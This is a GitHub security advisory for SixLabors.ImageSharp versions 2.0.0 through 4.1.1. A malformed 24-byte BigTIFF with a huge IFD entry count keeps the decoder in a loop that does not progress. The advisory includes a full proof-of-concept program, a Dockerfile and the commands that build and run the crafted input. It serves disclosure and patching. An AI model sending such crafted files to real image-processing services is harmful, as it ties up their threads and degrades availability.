Skip to content

ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop

Moderate severity GitHub Reviewed Published Sep 15, 2026 in SixLabors/ImageSharp • Updated Oct 7, 2026

Package

nuget SixLabors.ImageSharp (NuGet)

Affected versions

>= 2.0.0, <= 4.1.1

Patched versions

4.1.2

Description

Summary

SixLabors.ImageSharp 4.1.1 can spend an attacker-controlled duration decoding a
small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader
iterates once per declared entry, but when fewer than 20 bytes remain for an entry,
the entry read returns without advancing. A 24-byte input can therefore run billions
of iterations without consuming input.

One decoder invocation occupied one executing thread for more than five seconds in
the tested environment. This report makes no worker-pool exhaustion claim.

Affected package and versions

  • Package: SixLabors.ImageSharp (NuGet)
  • Affected range: >= 2.0.0, <= 4.1.1
  • Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

BigTIFF decoding and the unbounded ReadValues64 loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.

Details

ReadValues64 trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, ReadValue64 returns without advancing the stream or ending the outer loop.

Tested environment

The reproduction uses the DLL in the published NuGet 4.1.1 package:

SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker

Reproduction

The public Image.Load(Stream) call receives a 24-byte little-endian BigTIFF
with its first IFD at offset 16 and entry count 5000000000. There are no bytes
for an entry. Run the supplied container under a five-second timeout.

Complete observed output:

bigTiffBytes=24 entryCount=5000000000
timeout exit status: 124

timeout exit code 124 means the decoder had not returned after five seconds.

The control is identical except the entry count is 1:

bigTiffBytes=24 entryCount=1
decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth
Docker exit status: 0

The control rejects malformed input promptly; it does not time out.

No active exploitation is known.

Complete PoC files

Program.cs:

using SixLabors.ImageSharp;

static class Program
{
    // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.
    // The count field is controlled by the input.
    private static byte[] BuildBigTiff(ulong entryCount)
    {
        byte[] bytes = new byte[24];
        bytes[0] = 0x49; bytes[1] = 0x49;               // II
        bytes[2] = 0x2B; bytes[3] = 0x00;               // BigTIFF magic
        bytes[4] = 0x08; bytes[5] = 0x00;               // 8-byte offsets
        BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);
        BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);
        return bytes;
    }

    private static void Main(string[] args)
    {
        ulong entryCount = ulong.Parse(args[0]);
        byte[] bytes = BuildBigTiff(entryCount);
        Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}");
        try
        {
            using var stream = new MemoryStream(bytes);
            using Image image = Image.Load(stream);
            Console.Error.WriteLine("completed");
        }
        catch (Exception ex)
        {
            Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}");
        }
    }
}

Project file:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
  <ItemGroup>
    <Reference Include="SixLabors.ImageSharp">
      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
    </Reference>
    <Reference Include="System.IO.Hashing">
      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
    </Reference>
  </ItemGroup>
</Project>

Dockerfile:

FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY wmxv.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
    && dotnet restore fetch.csproj --nologo \
    && rm fetch.csproj \
    && dotnet build wmxv.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/wmxv.dll"]

Run:

docker build -t imagesharp-wmxv-poc .
timeout 5 docker run --rm imagesharp-wmxv-poc 5000000000
docker run --rm imagesharp-wmxv-poc 1

References

@JimBobSquarePants JimBobSquarePants published to SixLabors/ImageSharp Sep 15, 2026
Published by the National Vulnerability Database Oct 6, 2026
Published to the GitHub Advisory Database Oct 7, 2026
Reviewed Oct 7, 2026
Last updated Oct 7, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(28th percentile)

Weaknesses

Loop with Unreachable Exit Condition ('Infinite Loop')

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. Learn more on MITRE.

CVE ID

CVE-2026-106116

GHSA ID

GHSA-wmxv-xphr-5c9g

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.